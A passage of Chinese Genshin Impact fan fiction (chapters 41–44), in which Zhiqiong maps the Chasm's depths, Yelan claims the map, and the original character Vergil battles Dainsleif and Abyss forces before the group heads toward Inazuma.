直到这片吵吵嚷嚷的区域终于恢复了以往的安静,马什科夫才从藏身之处走出来,他已经完全红了眼,顾不得那些所谓的廉耻自尊,扑到了他心心念念的食物上面去,顾不得那些日落果和苹果已经沾上了石灰水,迫不及待地啃了下去—— 下一秒,这位因饥饿而身体浮肿显得异常高大的雷锤前锋眼前陡然一亮,刺眼的光线迫使他不得不闭上了双银—— 是被发现了吗? 一边这么猜测,马什科夫一边继续吞咽手上的食物。 他已经太饿了,饿到无法维持作为愚人众士官的自持,哪怕是那个可怕的家伙故意引蛇出洞,只为了把他干掉,他也不愿丢下食物逃走。 心满意足地将手上的食物全部吃下肚子里,马什科夫直直躺下,静待死神降临。 预想中的刀锋没有将他的头颅割下。 所以……居然没有被发现么…… 悬着一颗心的马什科夫终于放轻松,在饥饿感被满足后,因为长时间的高压和队友们的不断丧生而挺着坚持不睡去的意志力终究是崩断了最后那根弦。 不能睡…… 大脑在提醒马什科夫,他的身体即将濒临崩溃的表现。 在连续数日的断水缺粮、精神高压的情况下,哪怕是这副被改造的躯壳也无法再泄了气后再度强撑下去。 好不容易找到了食物,居然就要这么狼狈地死掉了吗? 他的意识模糊不清,朦胧之间,甚至还听见了有人呼喊的声音。好像还有医生,或者是别的什么人在呼唤他。 马什科夫嘲笑自己的天真和懦弱,除了那三个奇怪的家伙,层岩巨渊哪会还有他们愚人众和盗宝团之外的人?看来自己确实是出现了幻觉,但就算知道这一切不过是临死前的走马灯,他也无力再清醒地走回属于自己的营地了。 和还剩四人的第九连队不同,马尔科夫所属的连队,除他以外,全数牺牲。 现在该轮到他了。 只是可怜了这些食物—— 希望下一个士兵,能够及时发现他们。 任凭马什科夫听到了无数声音在呼喊,他也无动于衷——在他眼里,这不过又是这破地底产生出来的幻觉罢了。 一开始他还会激动,以为增援部队终于来了,但在一次次队友们异样的目光,一次次希望的落空之后,他对这些乱七八糟的声音就再也没有搭理过了。 马什科夫安详地沉沉睡去。 “白先生。” 七七试了一下马什科夫的脉搏,歪了歪头,似乎是不解为什么这个理论上已经清醒地士兵还没有睁开眼。 “他还以为这是在层岩巨渊的幻境里,下手不要太轻,不受点痛,他们是不会醒过来的。” 白术微笑,揉了揉七七蓬松的紫色头发,轻声鼓励: “七七,加大剂量。” 七七似懂非懂地点点头。 志琼一手扇着临时支起来的药炉,一边担忧地看着几个小时前不知道从哪里冒出来的几个愚人众士兵。 虽然……愚人众是很讨厌,害死了帝君;但是后来抗击奥赛尔的时候据说也出了不少力……尽管也不妨碍由于多年来嚣张跋扈作风导致风评意外之低的愚人众并不被广大璃月人民所接受,并且时不时会阴谋论他们的一举一动啦,可人心都是肉长的。 只要见过这五个愚人众士兵的惨状,绝对不会忍心到直接把他们丢在时不时发生地震的层岩巨渊不管。 更何况,他们上来的时候还带了手信——那个实力很强的仙人居然在解开磐键的时候还扣了一块下来!! 不过原来是水史莱姆仙人吗……怪不得给人一种,又温柔又毫不留情的感觉。 “白大夫,请问这些愚人众士兵……他们还好吗?” “当人体内的糖分,脂肪消耗完毕,身体的本能会让他们开始消耗体内仅存的能量。” 白术探查了马什科夫的状态,确定了他是因为潜意识认为周遭环境足够安全,不堪重负的身体强迫他进入深度睡眠,看来是没什么大碍了。 白术抬起头,对这位“挟持”他和七七来救人的少女说道: “换而言之,他至少已经有五天没有吃过东西了。” 志琼扇药的手也停滞了一瞬,随即,二人不约而同地将视线投向已无磐键镇压,但是在志琼的坚持下起码目前为止还无人下去的地底通道。 白术叹了口气。 “层岩巨渊里的水很深,你还年轻……” “谢谢您的好意。” 志琼看向还能依稀辨别出昔日强壮肌肉的马什科夫的胳膊,用扇柄压了压,肌肉瞬间凹陷下去,半天都没有复原。 “我今天才知道,原来在我们看不见的地方,一直有人在层岩巨渊下方拼命;原来七星其实也并不是什么都没有做只是在这里干等这……是我太弱小了,自以为是地觉得自己的力量不仅于此,却没有想到,哪怕是愚人众的士官在地底也是九死一生……” 志琼放下扇子,抱住膝盖。 “地下比我想象得要危险的多——等等!” “抱歉,白术先生,就麻烦您和七七大人一起照顾他一下。” 志琼像是突然想到了什么一样,背起行囊,猛然站起身。 她不能在这里像个没事人一样晃荡了,磐键是她找人打碎的,她现在至少要想办法给大家弄出一张能够让人进去后还可以靠着路线顺利出来的地图。 这几个愚人众不像是只待了一两天的样子,一定已经在下面待了很长时间。 凭借着这多长时间对层岩巨渊的研究和了解,志琼有信心凭借当事人的口述做出一份精确度不下九成的地图。 一想到这,不等白术和七七回答,志琼冲向了关押着那几个状态好一些的愚人众士兵的临时总务司营帐,一边跑一边大喊—— “沐宁!我有办法给大家绘制出一份能够给千岩军参考的层岩巨渊地底的地图了!”《 》 40-50 第41章 第 41 章 时隔两千年真正意义上的…… 沐宁现在一个头两个大。 他现在已经后悔对志琼的行为睁只眼闭只眼了。 七星并非铁板一块是没错, 对待层岩巨渊的态度也的确有些暧昧不明,但是这不代表,可以放任愚人众就这么大刺刺地往地上一栽。 帝君仙逝后, 璃月人民可对至冬人没什么好感。 上头只让他来守住层岩巨渊, 可没说下边要是钻出来一群愚人众该怎么处理。 装没看见——这会再装还有什么意义? 至于上报七星……我滴个岩王爷, 难道沐宁嫌他自己这个总务司专员的职务当得太顺利, 想要为他平稳的工作生活上点难度吗? “想开点啦, 沐宁。” 志琼趴在地上,根据第九连队的愚人众士兵提供的具体信息在地图上勾勾画画。一会是这里的地形产生了变化,一会又是那里的塌陷导致了地下结构发生了变化。 作为一个没有神之眼、武力值也不是非常突出的冒险家,绘制地图可是志琼的看家本领。提瓦特许许多多的秘境陵墓对于没有神之眼的冒险家们而言是一道难以逾越的天堑,所以对于冒险家们而言, 一份精准无误的地图无形之中就代表着顺利或者从冒险中回来的保障。 “大功告成!” 志琼顾不得身上的泥灰,赶紧将修正过后的地图给几个愚人众检查:“快快快,趁才从地下出来不久, 你们赶快回忆一下, 还有没有哪些地方需要修改?” 四个愚人众瞪大眼睛: “你真的没有去过地下矿区?” 不是志琼的地图不够精准,实在是跟他们他们记忆中的地形几乎相差无几! “要是事先有份地底的地图……我们也不至于在最开始的时候为了清理淤泥折损掉那么多的弟兄……” 安东拍了拍消沉的战友的肩膀。 “能够让绘制地图的专家不必亲自涉险,就能制作出有实用价值的地图, 让后来人不会出现更多地牺牲, 这就是我们重新回到地上的意义。” “太好了……” 有了亲身经历的愚人众士兵们的担保, 志琼紧绷着的神经终于松了一口气, 她激动地握紧手上这份来之不易的地图, 站起身,坚定地说道:“我要想办法把这份地图送到地下去——” “地下的事就不必勘探队继续操心了。” 漆黑的阴影投射在垫着昏黄蜡烛的营帐之内,一道清冷的女声从营帐外传来。 一根灵活的丝线从营帐前的帷幕钻出,轻而易举地夺过了志琼手上好不容易才大功告成的地图。 “谁!” 安东紧张地盯着营帐外女人窈窕的身影, 他刚刚没有感受到任何生人的气息,这个女人……恐怕不简单。 “你可以把我当做……天权星的特别情报官,不过放心,比起愚人众,我对这位队员绘制出来的地图……更感兴趣些。” 沐宁惨白着脸:“凝光大人,凝光大人已经派人来接管层岩巨渊的事务了吗?” “不要误会,我单纯为解决地下的‘东西’而来。” 女人掀开门帘,进入营帐,来人一头泛蓝黑色斜刘海的造型,翡翠色的眼睛如同神秘的玉石,让人看不清这双眸子主人的心思。 “放心,作为拿到这份地图的报偿,天权星会豁免到今天为止,层岩巨渊内所发生的一切差错——” 自称天权星特别情报官的女人吐露着足以让沐宁和志琼心动的报偿,她又看向仍处于戒备姿态的愚人众第九连队四人组。 “至于愚人众,凝光大人会保证你们能够平安回到至冬——” · 很难形容空目前所见到的一切。 先前的地下矿区的所见所闻以及幽深漆黑的淤泥都没有给他带来任何惊讶,被七星封印的地方一定有其中的古怪之处,只是到现在为止,他也不敢相信自己眼前所见到的景象,居然来自地下—— 如枷锁一般交叉回旋的岩柱透着森森的幽光,像是被认为地缠绕相连在一起,半空之中闪烁着如星星碎屑一般的荧光,紫黑的气体肉眼可见地漂浮在半空,散发着不详的光芒。 只有一旁撘建的临时木架能够证实,这里也曾是一处矿区。 石柱交错的正中心,漂浮的晶石碎片凝固在半空,如天降之柱一般的某物悬空停滞半空,中间幽蓝色的珠子不断散发着幽蓝色的光辉,彰显着它强烈的存在感。 空莫名感觉,比起地底,这副景象似乎更应该从天空看到才对。 “你想的没错,这就是足以灭杀一切深渊污秽的判罚之钉——” 维尔金的声音将空从思绪中拉回现实。 他环视着四周,周围也的确没有那种团在地上、有如虫巢的紫黑色淤泥。 石柱聚拢,蓝色的晶石好像从千百年前停滞的时空中乍然解冻,世间最纯净的元素力量的震动瞬间席卷整个空间。 三道浓重的紫黑色烟雾在被力量波及后迫不及待地钻出,又迅速被下一波力量化为齑粉。 “不必在意,深渊的余孽而已。” 维尔金虚握的右手随即瞬间抓紧,那颗蓝色晶石乍然光芒暗淡,像是失去了仅剩的悬浮力量后迅速下坠,打破了下方的岩层,落到了更深的地底。 维尔金跳下空洞,空和派蒙对视一眼,也跟着一起跳下。 “这到底是怎么一回事,层岩巨渊地底怎么会变得这么深?” 派蒙捞起半空中空,刻意减缓了二人下坠的时间,让空能够环视四周狭小的岩壁。他发现,像是有某种圆柱形的挖掘机挖穿了上方矿区和下方的界限,将原本阻碍两个世界交流的边界化为乌有。 而这种感觉随着愈发接近下方的地面则更加明显。 交错的石壁和愈发狭小的豁口无一不表明,他们的猜测是正确的。 下方的世界豁然开朗,还未到达地面,眼前的异常就连见多识广的派蒙也被实实在在的震撼了一番—— “维尔金,那个晶石不会是把提瓦特给砸穿了吧?” “这还是提瓦特吗?” 维尔金站起身。 这似乎已经是层岩巨渊的最深层,地下的空间仿若死去多时的墓地,除了幽蓝的流明晶石以外,大片的开阔区域布满了已经失去活性的深渊淤泥。 抬起头,穹顶的岩石被倒吊的城市所替代,此处的空间仿若完全停滞,重力的基本法则全然失效,甚至连他们,也只是误入此地的外来者。 这里的一切都跟“正常”格格不入,像是提瓦特的背面,一切相反,却又自称一套体系。 “我现在敢拿我的退休计划做担保,层岩巨渊的异常绝对跟天钉突然镇压不住所有淤泥,以及坎瑞亚有关。” 维尔金揉了揉太阳穴,层岩巨渊浓度过高的深渊气味险些让他怀疑起自己的判断。 “熟悉的腥臭,熟悉的味道,来自坎瑞亚的骑士,面对眼前的一切,你有什么想说的吗? ” “坎瑞亚?咦——”派蒙像是见到鬼一样突然弹起,随后火速飞到了空和维尔金身后,指着暗藏在阴影处一言不发的、带着面具的金色头发男人大声道: “坎瑞亚的末光之剑,你居然还敢出现在这里!” “你们认识我?” 藏匿于阴影之中戴因斯雷布似乎是被这个久远到近乎忘怀的名号所触动,也不在隐藏,大方地走出来—— “七神的信徒……亦或是追寻深渊力量之人?” “这与你无关,坎瑞亚的罪人!” “那看来是七神一侧的信徒,那我们之间恐怕没什么好说的。” 维尔金幽幽叹息,似是感慨,又似是自嘲。 “所以说人类就是健忘,哪怕攫取了悠长的寿命,依旧无法同源生的长生种相媲美,但没办法——” “被原初所钟爱着的生灵,是该有些小小的特权……但这里可不是属于人类的提瓦特,该离开的是你,归顺深渊的骑士!” 维尔金将戴因偷偷蓄力的深渊之力切断链接。戴因的本能让他向后跃去,于此同使寒冰的巨剑没有一丝预警瞬间成型,轰然砸向来不及避开的末光之剑。 脚底踩着的岩石几乎溃散,冰晶顷刻间填补了巨剑造成的裂缝,硬生生将偌大的洞穴全部覆盖。 维尔金满意地看向躲过一剑却被逸散的冰元素冻成冰雕的骑士,准备收拾收拾带着他先回一趟地面。 下一秒,紫黑色犹如星辰的冲击波袭向空和派蒙,冰晶调转方向,抬起宽厚的岩石,挡住了气势汹汹的冲击波。 ——这个……怎么不是深渊的力量? 短暂的闪念造就了片刻思绪的空白,来者的攻击似乎只是为了转移维尔金的注意力,紧接着蕴含浓烈深渊气味的冲天火球砸在地上,给被冻住半边身子的戴因解除了控制。 “戴因,快逃!” 声音响起的同时,浓郁的深渊迷雾瞬间爆炸,空倒是还好,但力量仅剩十分之一的派蒙瞬间感觉到呼吸困难—— “咳咳,维尔金——” 熟悉的少女声音响亮在空旷的腔室,空瞬间愣在原地。 这个声音是—— “坚持住派蒙,等我六秒!” 维尔金不再打算留活口,冰霜瞬间覆盖了连同整个洞穴的倒吊之城,火焰瞬间被扑灭。 “想逃?” 最令深渊教团畏惧之神明的力量向他们袭来,没有任何犹豫,戴因跑向了另外一个方向—— 这时候,他只能赌一把。 五秒 荧咬牙,硬生生提前将他们准备的、能够撕裂空间的魔兽放出来,同时开启三个前往不同地点的空间裂缝。 “分散跑!快!” 四秒 魔兽们瞬间成为灰烬,冰晶抽离了构成他们躯壳的一切元素和微分子,连带灵魂也被神明之威碾碎—— 三秒 “公主您快走,我殿后!” 意识到已经再无全员生还的可能,深渊炎使徒果断调转方向,用燃烧生命的禁术试图对抗堪称绝望的冰晶—— 二秒 柔和的冰罩终于凝成,对魔神伤害极大的深渊瘴气被阻绝在天空岛之主的领域之外。 一秒—— 维尔金的袭向荧,深渊炎使徒直直撞向天理的正面一击,为尊贵的公主争取到了宝贵的逃离时间。 维尔金面无表情,他继续催动力量,将深渊炎使徒的身躯连带着他的力量狠狠撞向空间裂缝,但终究是晚了一瞬—— 空间裂缝在相撞的一瞬间被强制合拢。 维尔金顺着裂缝原处又撕开一个新的裂缝,探下头发现里面居然是空无一人的风龙废墟,跟震惊到说不出来话的特瓦林大眼瞪小眼之后,无功而返的维尔金只能失落地退了出去,临走前还不忘跟特瓦林说声抱歉。 深渊教团果然狡诈,居然是随机传送。 维尔金看着手上抓着炎深渊使徒仅剩的半颗头颅,将其碾碎,心中还在不断叹息。 可惜。 居然让大鱼跑了—— 作者有话说:特瓦林:家人们谁懂,这个天理居然还搞临时查岗 第42章 第 42 章 我跟深渊,一次都没输过…… “嘶, 好冷啊维尔金,能不能先把冷气关了……” 派蒙一边哈气一边搓手。三个人中唯一的倒霉蛋就是她,先是吸入大量深渊瘴气, 后来虽然维尔金的护盾及时给上, 但对于实力十不存一的时间之魔神而言, 维尔金现在泄愤般的威压在荧和戴因顺利溜走后, 显得像是纯粹在痛击友军。 “抱歉抱歉, 刚刚是我太着急了,来点火暖暖身子。” 维尔金指尖燃起幽蓝的火焰,贴心地为现场除深渊使徒之外伤得最重的派蒙送上温暖。 做完这些够,他还不忘可惜地回头望了眼被自己强行撕开后,好半天都没能合拢的空间裂缝。 这么好的机会…… 维尔金可没有忘记, 龙脊雪山上那个不长眼睛的深渊法师曾经提到过“深渊的公主”…… 唯一有点奇怪的地方救就是,深渊的公主驱使的力量不属于深渊——这是否有哪里不太对劲? 维尔金百思不得其解,层岩巨渊地底浓郁的深渊气味几乎让他失去嗅觉, 但判断力量是否属于深渊已经成为了他的本能。 普通人可能会因为那个少女和深渊的魔物站在同一阵线就浅显地把她同样视作深渊力量的寄主, 但维尔金十分肯定—— 那个少女,绝对不应该属于深渊、更不可能是深渊的公主。 更何况…… 维尔金看向空,后者显得格外心事重重, 维尔金猜测, 空应当是认出来自己妹妹的声音了。 维尔金单刀直入:“刚刚那个深渊公主, 不会是你的妹妹吧?” “维尔金!你你先冷静一点, 空他什么都不知道呀……”派蒙被吓坏了, 顾不得虚弱地身体,飞到二人中间,紧张地看看空,又看了看维尔金, 希望后者能够冷静一点。 除了维系者本人,维尔金的个性派蒙可是最了解了。别看这个家伙一天天看上去什么都不在乎、很好说话的模样,一旦牵扯到深渊相关的事情,上至人类王国下至古龙的祖坟都能被他犁出十里地来。 “我觉得是。” 空迟疑了半分,最终依旧是选择遵循自己内心的声音。 “那下回我会记得留深渊教团活口,你放心,既然知道荧妹妹是在深渊教团,事情就好办多了。” 维尔金点点头,把重点留手对象记在心里。既然家属已经确认好了那就是本人,后面就不会再出什么岔子了。 “诶?” 派蒙这会也不敢随随便便说话了,还以为是维尔金因为眼睁睁让深渊方面重要人物逃走而灰心过度而变得什么胡话都能说出去,于是小心翼翼安慰道: “虽然说只难得吃瘪一次,你也不要太在意啦……毕竟这些家伙已经蛰伏了不知道多少年,没有留下活口也不用太在意啦……空也不要太担心,说不定荧妹妹就是被深渊教团的家伙们欺骗了而已,毕竟他们最会骗人了!” “哪有吃瘪,派蒙,这话可不能乱说。”维尔金严肃地伸出一个手指,正色道: “从深渊诞生起到现在,我维尔金对上深渊,一次都没有输过。” 这句话也只有天理能说,派蒙尴尬地看下地下,小声嘟囔道: “那你刚刚还说留活口……” “因为我刚刚真的在下死手。” 维尔金相当诚恳地解释,然后两手一摊:“本来一开始是打算留末光之剑一命,没想到荧妹妹似乎以为我要直接剁了他?空,你的好妹妹也把我看得太残忍了吧……” 空和派蒙对视一眼,默契的决定不打破维尔金对自身形象的错误认知。 “不过,刚刚那个叫做戴因的人,是坎瑞亚人?” 言归正传,空及时把话题拉回到目测跟坎瑞亚交好、甚至已经和深渊统一战线来对抗天空岛的妹妹身上。 “现在看来,我们当初在蒙德的猜测全部都印证了——” 维尔金揉了揉太阳穴,深渊实力一般,总爱整点花活。之前只是蛊惑人类的国度,现在又不断拉拢域外降临者…… 真是麻烦,有什么问题不能用一场独属于天空岛和深渊的战斗来解决的呢? 一天天的净想着把水搅浑,深渊这辈子都赢不了一回合、吃不上四个菜。 “接下来你打算怎么办——虽然跟我们预料的结果略有偏差,但荧妹妹似乎完全不需要你救呢。” “比起这个,我现在更担心另外一件事。” 空上前两步,把自己心中的忧虑毫不掩饰地告诉眼前这位对深渊特攻的专家,说出了自己最害怕、但是也最直白露骨的问题—— “三个月,有可能成为让一个外来者被深渊教团拥护的深渊公主吗?” 沉默。 哪怕是空,在问出这个问题后,自己也忍不住叹了口气。 又是这样。 他的妹妹又一次选择瞒着他做了很多危险的事。 “维系者总说我说话难听,但这次我得先说。” 维尔金拍了拍抑制消沉的、意识到自己妹妹已经不再是那个对血亲推心置腹全无遮掩的空,毫不留情地戳破他最后一丝幻想: “最坏的结果,她在五百前年就已经同坎瑞亚高层相识、并且也参与了那场无神之国连同深渊之力对天空发起的战争——从她认识末光之剑甚至冒着折损手上不少底牌也要从我手上救下他这一点来看,这个可能性很大。” “至于最好的结果——” 维尔金顿了顿,叹了口气: “……就是被深渊所蛊惑了吧。” 沉默再度充盈了此方狭小的天地。 “她会受到惩罚吗?”空问,或许又觉得这样询问似乎太过于直白,兄长换了一种说法,“维尔金,你从前一般会如何惩罚俘虏的深渊扈从?” 维尔金坦然:“与我正面交战便是对深渊最大的惩罚。” 空愣了一愣,似乎是还没有意识到这句话中所蕴含的深意—— 派蒙不忍心看见一路上照顾自己颇多的空因为妹妹的事变成这副模样,但她认为,自己必须让空明白,荧妹妹现在所做的一切,究竟又多么危险! 派蒙飘到空的身边,对着他的耳朵,小声提醒道: “别再问了,空。” 总会有对天空岛形势略知一二但始终了解不透彻的人好奇,为什么身为天空岛之主的天理非必要不出手、甚至与从尘世七执政再到深渊势力,哪怕是维系者本人,都宁愿尊贵的天理好好睡在天空岛睡一辈子,也不要轻易苏醒、随意下界。 很多人都忽略了这个关键问题。 如今,在多日同维尔金和派蒙二人没大没小没羞没躁如同损友般的相处模式中,空也同样忽略了这个盲点。尤其是在派蒙到来后,他几乎已经忘记深究,为何在坎瑞亚被荧唤醒是看到的是维系者的那暗红色似乎能直接摧毁空间、烧灼大地、撕裂空间的元素力;而在天空岛的边缘,赶来拦住他们去路的,依旧是维系者本人—— “作为「天理」的维尔金……一旦出手,绝对不会留活口。” 派蒙甚至不敢说,大部分时候,她口中的这个“活口”,甚至包括维系者来不及疏散掉的自己人。 被蛐蛐的当事人大为不满:“我哪有那么凶残,派蒙又在败坏我的风评!而且我只针对深渊,荧妹妹身上甚至都没有深渊的气息……” 派蒙两手一摊:“看吧,就像现在说话总是大喘气、不喜欢给人说重点的老毛病,这不几千年了也没改成功。” “荧的事还是先暂且放下吧。”空叹了口气,只要知道妹妹平安无事,他就已经心满意足了。 “现在我们直接回到上面去通知志琼他们吗?” “不,我们还有一个地方需要探明,稍后,这里的缺口也必须被堵上,这里已经不属于提瓦特大陆,人类,自然也不应该进入这已然被神明放逐的无主之地——” 倒悬的城市孤零零地扎根在岩石的穹顶之上,好像对于建造这座城市的人民而言,天上才是地下,而地下才是天空。 深渊的力量在上层天罚之钉的遏制下被禁锢于此,而对于被诅咒的人们而言,离天罚之钉越近,来自深渊的诅咒就越能得到遏制—— 但相对的,身体几乎已经融入深渊本身的他们也会变得无比虚弱。 在维尔金的视野里,那座倒悬的城市同样充盈着无法散去的、浓厚的深渊气息。 里面有很多活人的呼吸声。 刚刚的战斗还没有波及到那座倒吊的城市,但他能感觉到,里面隶属于坎瑞亚宫廷卫队的黑蛇骑士在看完那完全没有任何悬念的六秒倒计时后已经歇了任何反抗的心思,似乎只是单纯地把弱小的平民撤到更内侧而已。 甚至就连里面的异状也不再遮掩,全然一副“想来看那就直接来”的架势。 也是,他们做不了什么。 也不敢做什么。 天空不会容许迎接深渊的国度重现于地上,这是铁律,亦是世间为只能蛰伏在地底的深渊留有的唯一一丝活路。 那些人类已经无法再成为地上之国的人类了,诅咒改变了他们,同样也赠予了他们悠长的生命和与生者截然不同形象。 “那……我们继续向那座颠倒之城进发?”派蒙看了看望着颠倒之城发呆的维尔金,提议道。 “不,我掐指一算,差不多到了该上去跟志琼汇合的时候了。” 维尔金看了眼地上浓重的淤泥瘢痕,最终还是做出了一个同以往完全不同的决定。 “诶?不去看看那里吗?” “嗯……怎么说呢……” 维尔金挠了挠头,决定还是搬出来那个万能的理由—— “毕竟细究起来,这里已经不是提瓦特了。”—— 作者有话说:难绷,本来就想改改段落设置定时发表,结果刚刚直接点成发表了 第43章 第 43 章 因为深渊和天空就在那里…… “这样两全其美的建议我想应该不用再多虑了吧?况且, 我已经给了你们足够多的时间考虑——现在能给我一个回答了吗?” 自称为天权星特别情报官的夜兰耐心地等待志琼的回答。 别误会,她有很多办法能够兵不血刃拿下这份地图,只是事情还没有必要闹得太僵。 夜兰暇整以待, 她先前了解过这个女孩——冲动、大大咧咧, 但是在绘制地图方面很有两把刷子。地图很重要, 至少对于尚不能将外界信息公之于众的七星而言很重要。 在夜兰看来, 名为志琼的少女比传闻中更加通透些, 至少目前看起来是会给自己收拾烂摊子的类型。 结局也如夜兰所料,志琼卷起地图,双手交给夜兰,郑重其事:“层岩巨渊下方还有我的三位朋友,如果夜兰大人见到他们后不要追究他们解开磐键一事……” “明智的抉择。” 夜兰大方收下这卷对于所有想要下去一探究竟之人都无比重要的地图。 “眼见为实, 我原以为志琼小姐会死守地图,绝对不会随意交给我这个不相干的陌生人……好在,您做出了最正确的选择。” “你刚刚说的不会追究沐宁和大家的失职……”志琼像是听不到这略微带刺的话语一样, 深吸口气, 鼓起勇气问道: “您的这句保证……会算数吧?” "小妹妹,下次这种事情交易前就要问清楚。" 夜兰怜爱地给志琼脑门弹了个脑瓜崩,在后者吃痛捂着红彤彤的脑门的指印后, 给了志琼一个能让提起的心重新安稳落地的答案。 “放心, 今天发生的一切由我亲自向璃月七星解释, 而至于你先前所说的已经深入地底的那三位——” 夜兰双手环胸, 表情格外随意。 “如果连他们都在下面出事的话, 别说是璃月七星,就算是帝君再世,恐怕都没有办法了。” 志琼嘴巴长开,忍不住倒吸一口凉气—— 她还以为那三人只是普通的仙人而已, 原来是这么厉害的人物吗! 爱笑的女孩运气不会太差,夜兰看着她这副恍然大悟后的庆幸模样,也不住感慨,志琼的运气真是不错。 换作任何一个人解开七星封印,此事都不会就此善罢甘休,但偏偏解开封印的人是那位…… 一道欢快的声音打断了夜兰的思绪。 “志琼,我们回来啦!我跟你说,得亏你没有跟我们下去,那地方可真不是人能带的……哇!这又是哪位?” 径直掀开营帐帷幕的派蒙惊讶地看向在场唯一没有见过面的特别情报官,看向她手上显然是层岩巨渊地底地图样式的羊皮卷后,认真思考了一番,后退了半步。 刚刚上来的时候,派蒙仔细确认过,他们待在颠倒之城的时间远远不及她们切身体会到的那样长。那座不属于提瓦特世界的颠倒之城,似乎连时间也一同被排除在外,哪怕他们在哪里浪费了不少时间,从深入层岩巨渊到出来,也不过短短半日。 从玉京台到层岩巨渊,七星的人真的能来得这么快吗? 直到维尔金和空也跟着进来,派蒙怀疑地目光依旧钉在夜兰身上,而后者只是耸了耸肩,解释道: “我只是替天权星凝光大人办事、专为处理层岩巨渊地下异常而来。还有请不要误会,七星并非是铁板一块。” 维尔金点点头,他又没有插手璃月政治事务的想法,他们自己爱怎么捣鼓就怎么捣鼓。 “继续你的工作即可,下层「不应该出现在提瓦特的东西」已经被我及时处理,后续的淤泥以及层岩巨渊地下的一些事情,还需要璃月七星费些功夫,不要留给深渊的淤泥继续滋生蔓延的机会。” 夜兰:“七星一直关注着层岩巨渊的一举一动,此番我也正是为……结束一切后重启层岩巨渊做好铺垫。” 她原以为这话能够让这位热衷于亲力亲为的天空岛之主放下心来,哪知听到她说出七星一直关注着地下被矿工们挖出的天罚之钉后,这位天理大人好像表情出现了些诡异的裂痕。 维尔金感觉血压有些升高,他有预感,璃月人总有一天也会效仿坎瑞亚的遗迹之蛇,又再度把他辛辛苦苦堵了老半天的洞口挖开。 不行,这样下去不是个办法。 “……我有一个办法,可保层岩巨渊从此平安无事的同时,让浅层矿区的人继续挖矿。” 维尔金直接扯开营帐的帷幕,指向璃月港的方向,认真地说道: “你现在从层岩巨渊出发,到璃月港找往生堂的钟离和身边不出意外还在缠着他的瞎子龙,告诉他层岩巨渊有一个风景宜人、地质优越、矿脉充沛还充斥着古老元素力量的洞穴,让他三天内务必把南天门下的墓碑迁到层岩巨渊来。” 夜兰愣了一瞬。 饶是见多识广如她,一时之间也没有参悟这句话到底是个什么意思。 怎么又是龙,还要迁坟? “往生堂的业务已经能扩展到给盲人……啊不对盲龙下葬了吗?”志琼忍不住感慨,“不愧是大城市,果然只要能够赚到钱,就没有做不到的事情。” 不,往生堂应该不是这样的。 夜兰甚至怀疑自己的听力出现了一些瘟疫,脸上的官方的笑容再也无法维持,连嘴角也开始抽搐。 她猜应该是这位尊贵的天空岛之主的语言描述出了一点小小的偏差。 但总归意思还是很明确:往生堂找钟离,他有办法。 “多谢,我明白您的意思了。” 维尔金十分欣慰,和聪明人说话就是轻松,他一说解决办法,人家就能够马上会意。 要是不是水系神之眼就好了…… 维尔金在心底默默叹息,正好摩拉克斯退位,明面上璃月无人值班,要是是个岩系神之眼,他还能撺掇摩拉克斯再弄个帝君的遗诏之类的东西,让这些听懂话、又愿意干活的人类代班多好。 维尔金是经过深思熟虑才想到这个好主意的。 看看那位总是好心办坏事的至冬小伙,还有眼前看上去一直在盯梢层岩巨渊的天权星的手下,还有一直在上面帮他拦着人类下地的志琼—— 维尔金更加确信自己千辛万苦收集样本而得出来的结论: 人类超爱工作的。 短生种就是好,提瓦特大陆这么大,能够让他们在有限又短暂时间里度过充满激情又跌宕起伏的一生。 真好。 维尔金看向志琼,现在他心情不错,语气也不自觉温柔了许多: “层岩巨渊地底的瘴气对于没有神之眼的人类而言依旧十分危险……” “仙人您放心!”志琼急忙说道,生怕给他再添麻烦,“我不会像之前那样冲动了——虽然我的确还是很想再下到层岩巨渊地底,虽然我也没有神之眼……但我以后再也不会像之前那样任性……还连累大家……” 志琼鼓起勇气,对着周围一群人中,官职一骑绝尘鹤立鸡的夜兰,深吸口气,鼓起勇气说道: “夜兰大人,我计划为接下来探查层岩巨渊的大家设计一系列的防护……我们的确神之眼,但是,有了地图,只要能够再制作出阻隔深渊瘴气的防护用品——我相信小小的层岩巨渊,绝对不会难倒冒险家!” “——向着星辰与深渊!” 很好,很有精神! “我有一个比较诚恳的建议——”维尔金举起手,无比真挚地提出了自己的看法,“可以把深渊删了吗?” 深渊这玩意能跟天空上的星辰并列吗? 人类为什么要向着深渊前行啊! 维尔金百思不得其解。 “其实我觉得……这句话很完美、很适合提瓦特大陆上每一个不管拥有、还是没有神之心的冒险家。” 志琼此时的心境已经完全不同。 从前,她执着于用自己的力量去证明冒险家的意义,她将“向着星辰与深渊”当做毕生的真理,并且不断为之前行。现在看来,曾经的她为了探险甚至会完全不考虑大家的感受、给身边那些爱自己的家人好友们造成了不小的困扰。 她不会后悔那段用冲动撞出来的经验,但也不会像从前那样只凭着一腔热血就莽撞前行,她的眼中不再仅仅只有眼前的冒险,还有身后同伴、挚友以及家人。 天空就在头顶,深渊也就在脚底。 “人类无法飞行,于是有人发明了风之翼;人类无法再海底呼吸,于是诞生了运用工具在水下作业的潜水员。同样,冒险家们不会因为深渊危险又不可知就放弃探究它,也不会因为天空无法触及人类无法飞行就选择望而却步——” “您很强大,所以您可能无法理解,为何总有普通人妄想涉及那样可怕又危险的地方。” 志琼顿了顿,眼中闪烁着比星空更耀眼的光辉,甚至连看习惯天空岛周围悬浮着的命星的维尔金,也不自觉呆了一瞬。 直到此时,他好像才真正明白,为何原初的那位唯独将偏爱赐予人类这一短寿又孱弱的物种。 他听见少女说出了答案—— “因为它们就在那里。”—— 作者有话说:这两天就要去稻妻了,家人们晚安 第44章 第 44 章 定期关注下属心理问题是…… 小小的人类, 总能够爆发出令神明都为之侧目的耀眼光芒。 在维尔金模糊又不甚牢固的记忆中,见到的人类面孔总是变来变去,他们互相之间长相相似、名字相似、甚至连力量和招式有时都会如出一辙。但每次醒来, 他见到的人类, 都不会是原来那个。 长生种会有很多次机会去试错, 他们能够拥有足够多的时间去完成一项或是宏大、或是渺小的目标, 但人类不可以。 他们总是会用一生仅有一次的机会, 燃烧自己。 海风吹拂着维尔金的脸颊,层层的积云几乎压低了天空,越是朝着稻妻方向前进,雷暴的隆隆声越是频繁。 狂躁的雷暴却像是有意识一样,一身武艺打在波涛汹涌的海面, 没有对他们造成任何影响。在恐怖的雷鸣中,维尔金想了很多。 在全稻妻范围内,收缴所有的神之眼, 镶嵌于千手百眼神像之中—— 正常情况下, 巴尔泽布不该如此极端。 